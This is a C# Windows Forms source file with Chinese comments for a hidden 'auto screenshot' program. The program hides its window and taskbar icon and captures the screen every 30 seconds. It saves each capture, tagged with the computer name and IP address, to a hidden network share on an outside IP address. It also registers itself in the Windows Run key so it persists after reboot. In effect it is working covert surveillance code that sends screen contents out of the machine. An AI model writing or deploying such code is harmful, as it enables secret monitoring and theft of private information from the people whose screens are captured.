using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Net;
using System.Runtime.InteropServices;
using System.Threading;
using System.Timers;
using System.Windows.Forms;



namespace 自动截屏
{
    public partial class Form1 : Form
    {
        // 定时器，用于每隔 30 秒触发一次截图操作 
        private System.Timers.Timer screenshotTimer;
        // 图片保存路径，这里设置的是网络共享路径 
        private string networkSharePath = @"\\172.104.60.251\log$\";

        public Form1()
        {
            InitializeComponent();
            // 隐藏窗口和图标 
            this.ShowInTaskbar = false;
            this.WindowState = FormWindowState.Minimized;

            // 初始化定时器 
            screenshotTimer = new System.Timers.Timer(30000); // 自动抓图时间，这里设置的是30 秒 
            screenshotTimer.Elapsed += ScreenshotTimer_Elapsed;
            screenshotTimer.Start();

            // 设置开机自动运行 
            SetAutoStart();

            // 注册快捷键 
            RegisterHotKey(this.Handle, 1, (uint)(KeyModifiers.Control | KeyModifiers.Alt | KeyModifiers.Shift), (uint)Keys.F9);


        }
        // 定时器事件处理方法，每隔 30 秒触发一次截图操作 
        private void ScreenshotTimer_Elapsed(object sender, ElapsedEventArgs e)
        {
            try
            {
                // 执行截图操作 
                TakeScreenshot();
            }
            catch (Exception ex)
            {
                // 处理异常，输出错误信息 
                MessageBox.Show($"截图时发生错误: {ex.Message}", "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }

        // 截图方法 
        private void TakeScreenshot()
        {
            try
            {
                // 获取屏幕大小 
                Rectangle screenBounds = Screen.PrimaryScreen.Bounds;
                // 创建一个与屏幕大小相同的位图对象 
                using (Bitmap screenshot = new Bitmap(screenBounds.Width, screenBounds.Height))
                {
                    // 创建一个 Graphics 对象，用于绘制屏幕内容 
                    using (Graphics g = Graphics.FromImage(screenshot))
                    {
                        // 从屏幕复制内容到位图中 
                        g.CopyFromScreen(0, 0, 0, 0, screenBounds.Size);
                    }

                    // 获取电脑名 
                    string computerName = Environment.MachineName;
                    // 获取 IP 地址 
                    string ipAddress = GetLocalIPAddress();
                    // 获取当前时间 
                    string timestamp = DateTime.Now.ToString("yyyyMMddHHmmss");

                    // 构建截图文件名 
                    string fileName = $"{computerName}_{ipAddress}_{timestamp}.jpg";
                    // 构建保存路径 
                    string savePath = Path.Combine(networkSharePath, computerName);

                    // 如果保存路径不存在，则创建该路径 
                    if (!Directory.Exists(savePath))
                    {
                        Directory.CreateDirectory(savePath);
                    }

                    // 构建完整的文件路径 
                    string fullPath = Path.Combine(savePath, fileName);

                    // 设置图像编码器参数，实现低分辨率压缩保存 
                    ImageCodecInfo jpegCodec = GetEncoderInfo("image/jpeg");
                    EncoderParameters encoderParameters = new EncoderParameters(1);
                    encoderParameters.Param[0] = new EncoderParameter(Encoder.Quality, 20L); // 20% 质量 

                    // 保存截图 
                    screenshot.Save(fullPath, jpegCodec, encoderParameters);
                }
            }
            catch (Exception ex)
            {
                // 处理异常，输出错误信息 
                MessageBox.Show($"保存截图时发生错误: {ex.Message}", "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }

        // 获取本地 IP 地址的方法 
        private string GetLocalIPAddress()
        {
            try
            {
                // 获取本地主机名 
                string hostName = Dns.GetHostName();
                // 获取本地主机的 IP 地址列表 
                IPHostEntry hostEntry = Dns.GetHostEntry(hostName);
                // 遍历 IP 地址列表，找到第一个 IPv4 地址 
                foreach (IPAddress ip in hostEntry.AddressList)
                {
                    if (ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork)
                    {
                        return ip.ToString();
                    }
                }
            }
            catch (Exception ex)
            {
                // 处理异常，输出错误信息 
                MessageBox.Show($"获取 IP 地址时发生错误: {ex.Message}", "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
            return "Unknown";
        }

        // 获取图像编码器信息的方法 
        private ImageCodecInfo GetEncoderInfo(string mimeType)
        {
            // 获取所有图像编码器信息 
            ImageCodecInfo[] codecs = ImageCodecInfo.GetImageEncoders();
            // 遍历编码器信息列表，找到指定 MIME 类型的编码器 
            for (int i = 0; i < codecs.Length; i++)
            {
                if (codecs[i].MimeType == mimeType)
                {
                    return codecs[i];
                }
            }
            return null;
        }

        // 设置开机自动运行的方法 
        private void SetAutoStart()
        {
            try
            {
                // 获取当前程序的可执行文件路径 
                string exePath = System.Reflection.Assembly.GetExecutingAssembly().Location;
                // 获取注册表项 
                Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                // 设置注册表项的值，实现开机自动运行 
                key.SetValue("AutoScreenshotApp", exePath);
            }
            catch (Exception ex)
            {
                // 处理异常，输出错误信息 
                MessageBox.Show($"设置开机自动运行时发生错误: {ex.Message}", "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }

        // 重写 WndProc 方法，处理快捷键消息 
        protected override void WndProc(ref Message m)
        {
            const int WM_HOTKEY = 0x0312;
            if (m.Msg == WM_HOTKEY)
            {
                // 显示窗口 
                this.Show();
                this.WindowState = FormWindowState.Normal;
            }
            base.WndProc(ref m);
        }

        // 导入 RegisterHotKey 方法 
        [DllImport("user32.dll")]
        private static extern bool RegisterHotKey(IntPtr hWnd, int id, uint fsModifiers, uint vk);

        // 导入 UnregisterHotKey 方法 
        [DllImport("user32.dll")]
        private static extern bool UnregisterHotKey(IntPtr hWnd, int id);

        private void Form1_Load(object sender, EventArgs e)
        {

        }

        // 定义 KeyModifiers 枚举 
        [Flags]
        public enum KeyModifiers
        {
            None = 0,
            Alt = 1,
            Control = 2,
            Shift = 4,
            Win = 8
        }

    }
}
